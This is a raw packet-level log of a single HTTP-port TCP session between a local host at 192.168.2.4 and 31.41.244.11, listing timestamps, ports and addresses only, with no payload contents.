Dec 16, 2024 21:03:01.156191111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.156239986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.156961918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.157022953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.157074928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.157133102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.157849073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.157907963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.157953024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.158003092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.158765078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.158830881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.158874989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.158921003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.159652948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.159715891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.159796953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.159847021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.160527945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.160578012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.160618067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.160657883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.161391020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.161442041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.161539078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.161582947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.162286997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.162344933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.162437916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.162480116 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.163206100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.163254023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.163294077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.163331032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.164046049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.164098978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.164186001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.164227962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.164927006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.164973974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.165039062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.165079117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.165869951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.165915966 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.165941954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.165985107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.166687965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.166747093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.166779995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.166821957 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.167558908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.167609930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.167623043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.167663097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.168427944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.168477058 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.168564081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.168610096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.169368029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.169429064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.169449091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.169491053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.170208931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.170262098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.170310974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.170353889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.171072960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.171122074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.171199083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.171241045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.171966076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.172012091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.172061920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.172105074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.172874928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.172925949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.172995090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.173038006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.173731089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.173777103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.173825979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.173871040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.174626112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.174670935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.174751043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.174791098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.326317072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.326476097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.326546907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.326561928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.326577902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.326589108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.326615095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.326615095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.327462912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.327507019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.327511072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.327550888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.328059912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.328085899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.328099966 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.328126907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.328883886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.328926086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.329025030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.329061985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.329782009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.329798937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.329821110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.329847097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.330643892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.330693960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.330832958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.330882072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.331501961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.331548929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.331562042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.331602097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.332390070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.332444906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.332480907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.332518101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.333314896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.333359003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.333408117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.333451033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.334234953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.334273100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.334302902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.334337950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.335083008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.335127115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.335325956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.335370064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.336007118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.336045980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.336083889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.336118937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.336776972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.336826086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.336864948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.336904049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.337634087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.337686062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.337758064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.337800026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.338506937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.338548899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.338649035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.338690042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.339870930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.339917898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.339962959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.340004921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.340364933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.340413094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.340456963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.340497971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.341188908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.341232061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.341280937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.341321945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.342091084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.342155933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.342307091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.342359066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.342948914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.343003035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.343055010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.343096018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.343882084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.343925953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.343976021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.344012976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.344769001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.344816923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.344902992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.344942093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.345783949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.345832109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.345926046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.345973969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.346736908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.346779108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.346879005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.346919060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.347779989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.347826004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.348017931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.348059893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.348767996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.348814011 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.348891020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.348932981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.349682093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.349739075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.349745989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.349786997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.350662947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.350711107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.350752115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.350796938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.351435900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.351511955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.351515055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.351548910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.352241993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.352269888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.352303982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.352474928 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.353204966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.353239059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.353250980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.353283882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.354007006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.354051113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.354072094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.354109049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.354908943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.354948997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.354965925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.355001926 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.355709076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.355756998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.355850935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.355890989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.356385946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.356420994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.356426001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.356458902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.357078075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.357120991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.357178926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.357217073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.357992887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.358048916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.358099937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.358160973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.359018087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.359061003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.359172106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.359215021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.359935045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.359977007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.360018969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.360060930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.360645056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.360692024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.360773087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.360841036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.361505985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.361552954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.361555099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.361826897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.362354040 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.362401009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.362428904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.362473965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.363245964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.363286972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.363347054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.363387108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.364124060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.364170074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.364255905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.364291906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.365015030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.365060091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.365062952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.365108013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.365926981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.365967035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.365988016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.366024971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.366837025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.366888046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.366980076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.367021084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.367630959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.367674112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.367726088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.367809057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.368536949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.368580103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.368618011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.368657112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.369425058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.369469881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.369543076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.369582891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.370402098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.370445967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.370579958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.370621920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.371285915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.371326923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.371514082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.371560097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.372226954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.372287035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.372396946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.372437954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.518594980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.518629074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.518717051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.518862009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.518908024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.519006968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.519054890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.519764900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.519820929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.519867897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.519917965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.520637989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.520693064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.520797014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.520848989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.521330118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.521375895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.521395922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.521450996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.522181988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.522234917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.522305965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.522363901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.523027897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.523075104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.523212910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.523253918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.523921013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.523968935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.524010897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.524050951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.524786949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.524833918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.525016069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.525058031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.525696993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.525760889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.525773048 CET	80	49882	31.41.244.11	192.168.2.4
